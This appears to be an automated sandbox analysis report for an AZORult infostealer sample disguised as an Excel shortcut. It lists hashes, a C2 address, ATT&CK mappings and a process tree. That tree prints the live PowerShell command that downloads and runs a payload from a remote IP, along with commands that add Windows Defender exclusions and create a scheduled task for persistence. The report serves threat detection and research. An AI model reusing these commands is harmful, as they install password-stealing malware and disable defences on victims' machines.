azorult | 9b2a9d2d3db782a88b2db346864bb53ab0e08b02463555f9cd394327d1d41414

General

Target

AWB-002024563.XLS.lnk
Size

1KB
MD5

24b35581ca3b4d40271e57c85e296acb
SHA1

06772cefa2064960b2db126373dc65cb39aca466
SHA256

9b2a9d2d3db782a88b2db346864bb53ab0e08b02463555f9cd394327d1d41414
SHA512

4d828fe1d9bed99f9616f84cce7893ea69923f07dd75a3da8e1e5b2bb840ddaa642aa8187721d0a198c1700413df4c79387419c7376a8d704e7bfb644d18c1da

Score

10^/10

azorult discovery execution infostealer trojan

Malware Config

Extracted

Family

azorult

C2

http://h8m5b.shop/ML341/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 2352 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4740 powershell.exe
3480 powershell.exe
2352 powershell.exe
2352 powershell.exe
Downloads MZ/PE file

flow	pid	process
8	2352	powershell.exe

pid	process
4740	powershell.exe
3480	powershell.exe
2352	powershell.exe
2352	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exesetup_x86.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	setup_x86.exe

Executes dropped EXE 1 IoCs

Processes:

setup_x86.exe

pid process

2336 setup_x86.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

setup_x86.exe

description pid process target process

PID 2336 set thread context of 4364 2336 setup_x86.exe MSBuild.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2336	setup_x86.exe

description	pid	process	target process
PID 2336 set thread context of 4364	2336	setup_x86.exe	MSBuild.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

setup_x86.exepowershell.exepowershell.exeschtasks.exeMSBuild.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_x86.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

116 schtasks.exe

pid	process
116	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exesetup_x86.exepowershell.exepowershell.exe

pid	process
2352	powershell.exe
2352	powershell.exe
2336	setup_x86.exe
2336	setup_x86.exe
2336	setup_x86.exe
2336	setup_x86.exe
2336	setup_x86.exe
2336	setup_x86.exe
3480	powershell.exe
3480	powershell.exe
4740	powershell.exe
4740	powershell.exe
2336	setup_x86.exe
2336	setup_x86.exe
2336	setup_x86.exe
2336	setup_x86.exe
3480	powershell.exe
4740	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exesetup_x86.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	2336	setup_x86.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	3480	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

cmd.exepowershell.exesetup_x86.exe

description	pid	process	target process
PID 2648 wrote to memory of 2352	2648	cmd.exe	powershell.exe
PID 2648 wrote to memory of 2352	2648	cmd.exe	powershell.exe
PID 2352 wrote to memory of 2336	2352	powershell.exe	setup_x86.exe
PID 2352 wrote to memory of 2336	2352	powershell.exe	setup_x86.exe
PID 2352 wrote to memory of 2336	2352	powershell.exe	setup_x86.exe
PID 2336 wrote to memory of 4740	2336	setup_x86.exe	powershell.exe
PID 2336 wrote to memory of 4740	2336	setup_x86.exe	powershell.exe
PID 2336 wrote to memory of 4740	2336	setup_x86.exe	powershell.exe
PID 2336 wrote to memory of 3480	2336	setup_x86.exe	powershell.exe
PID 2336 wrote to memory of 3480	2336	setup_x86.exe	powershell.exe
PID 2336 wrote to memory of 3480	2336	setup_x86.exe	powershell.exe
PID 2336 wrote to memory of 116	2336	setup_x86.exe	schtasks.exe
PID 2336 wrote to memory of 116	2336	setup_x86.exe	schtasks.exe
PID 2336 wrote to memory of 116	2336	setup_x86.exe	schtasks.exe
PID 2336 wrote to memory of 2552	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 2552	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 2552	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe
PID 2336 wrote to memory of 4364	2336	setup_x86.exe	MSBuild.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AWB-002024563.XLS.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Crypted.exe -OutFile $ENV:USERPROFILE\Downloads\setup_x86.exe; Start-Process $ENV:USERPROFILE\Downloads\setup_x86.exe }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Users\Admin\Downloads\setup_x86.exe
    "C:\Users\Admin\Downloads\setup_x86.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2336
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Downloads\setup_x86.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4740
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\sXACnJccZk.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3480
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sXACnJccZk" /XML "C:\Users\Admin\AppData\Local\Temp\tmp14DB.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:116
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:2552
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
1bb4393b75f85feb35de7e5575e44926

SHA1
bf6c8db59380d8b126b10c5cf26c2fc994863f55

SHA256
308c0b6304d95ab1613b601ce009e11febf4c8c334c017911b31b5fcd27ffbf9

SHA512
5bead895158fd1fb0cc8d730e2280b5d9aab875121946c97cbf97ef4ac8b3c6fb9699aac7a0cf5a389d1cff5b4dd25717e3df5b30ebddc7de5ac6b4d2a40a5bc

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d80c45e0e047b75073a3d1c2710c68f

SHA1
babc73cf30327b36d184239a2747ec94d48929f4

SHA256
6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

SHA512
5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_icm02sfu.vh0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\tmp14DB.tmp

Filesize
1KB

MD5
ad8a40b4acb6acabea7f66d1021c182a

SHA1
b913f4c21e819b4ab3ac82839e9f0c7f38696560

SHA256
c99ebe8c2b0f4fb6ac4fcf289f1bb60c9615e067d9737c6e67976878e8416a83

SHA512
5014935cd39d4e398c5d8eb446a86546f31efffa1a37b879cb31504acc75b10306f6b096ecb705e7bee598e07d7cd67a81a0812f6ff44383a97cff638a7e3970

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C:\Users\Admin\Downloads\setup_x86.exe

Filesize
584KB

MD5
7c79a1035c5735d3d0b304564a33ba1a

SHA1
ecf62b17647c2db020119168e0eb12aa16984bc8

SHA256
c9f9cac249b944a81dcaf942997c774b267cd4b27d64318dd5d91583274098f1

SHA512
c86a3f3d311f1f512f4dda2dc768a85bbe5fd5473a62a0b9a1232490c656588e333a8906be2d2971fd39a6e389a211c886857a443b31a0a951b47c2f0b75229b

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memory/2336-34-0x0000000007B20000-0x0000000007B84000-memory.dmp

Filesize
400KB

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memory/2336-29-0x0000000000440000-0x00000000004D8000-memory.dmp

Filesize
608KB

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memory/2336-31-0x0000000004EC0000-0x0000000004F52000-memory.dmp

Filesize
584KB

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memory/2336-30-0x0000000005470000-0x0000000005A14000-memory.dmp

Filesize
5.6MB

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memory/2336-32-0x0000000005080000-0x000000000508A000-memory.dmp

Filesize
40KB

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memory/2336-33-0x00000000053A0000-0x00000000053B2000-memory.dmp

Filesize
72KB

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memory/2336-35-0x000000000A2A0000-0x000000000A33C000-memory.dmp

Filesize
624KB

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memory/2352-28-0x00007FFAAFF30000-0x00007FFAB09F1000-memory.dmp

Filesize
10.8MB

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memory/2352-14-0x00007FFAAFF30000-0x00007FFAB09F1000-memory.dmp

Filesize
10.8MB

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memory/2352-13-0x00007FFAAFF30000-0x00007FFAB09F1000-memory.dmp

Filesize
10.8MB

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memory/2352-12-0x00000205290D0000-0x00000205290F2000-memory.dmp

Filesize
136KB

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memory/2352-2-0x00007FFAAFF33000-0x00007FFAAFF35000-memory.dmp

Filesize
8KB

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memory/3480-93-0x0000000007300000-0x00000000073A3000-memory.dmp

Filesize
652KB

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memory/3480-92-0x0000000006650000-0x000000000666E000-memory.dmp

Filesize
120KB

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memory/3480-102-0x0000000007730000-0x0000000007738000-memory.dmp

Filesize
32KB

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memory/3480-101-0x0000000007750000-0x000000000776A000-memory.dmp

Filesize
104KB

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memory/3480-100-0x0000000007650000-0x0000000007664000-memory.dmp

Filesize
80KB

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memory/3480-98-0x0000000007610000-0x0000000007621000-memory.dmp

Filesize
68KB

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memory/3480-95-0x0000000007410000-0x000000000742A000-memory.dmp

Filesize
104KB

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memory/3480-73-0x00000000716C0000-0x000000007170C000-memory.dmp

Filesize
304KB

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memory/4364-57-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

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memory/4364-58-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

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memory/4740-69-0x0000000006050000-0x000000000606E000-memory.dmp

Filesize
120KB

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memory/4740-70-0x00000000065E0000-0x000000000662C000-memory.dmp

Filesize
304KB

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memory/4740-44-0x0000000005140000-0x00000000051A6000-memory.dmp

Filesize
408KB

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memory/4740-71-0x0000000007040000-0x0000000007072000-memory.dmp

Filesize
200KB

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memory/4740-94-0x0000000007A50000-0x00000000080CA000-memory.dmp

Filesize
6.5MB

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memory/4740-96-0x00000000073E0000-0x00000000073EA000-memory.dmp

Filesize
40KB

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memory/4740-97-0x00000000075F0000-0x0000000007686000-memory.dmp

Filesize
600KB

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memory/4740-72-0x00000000716C0000-0x000000007170C000-memory.dmp

Filesize
304KB

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memory/4740-99-0x00000000075A0000-0x00000000075AE000-memory.dmp

Filesize
56KB

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memory/4740-43-0x00000000050A0000-0x00000000050C2000-memory.dmp

Filesize
136KB

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memory/4740-45-0x00000000057E0000-0x0000000005846000-memory.dmp

Filesize
408KB

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memory/4740-46-0x00000000059F0000-0x0000000005D44000-memory.dmp

Filesize
3.3MB

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memory/4740-41-0x00000000051B0000-0x00000000057D8000-memory.dmp

Filesize
6.2MB

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memory/4740-40-0x0000000004AC0000-0x0000000004AF6000-memory.dmp

Filesize
216KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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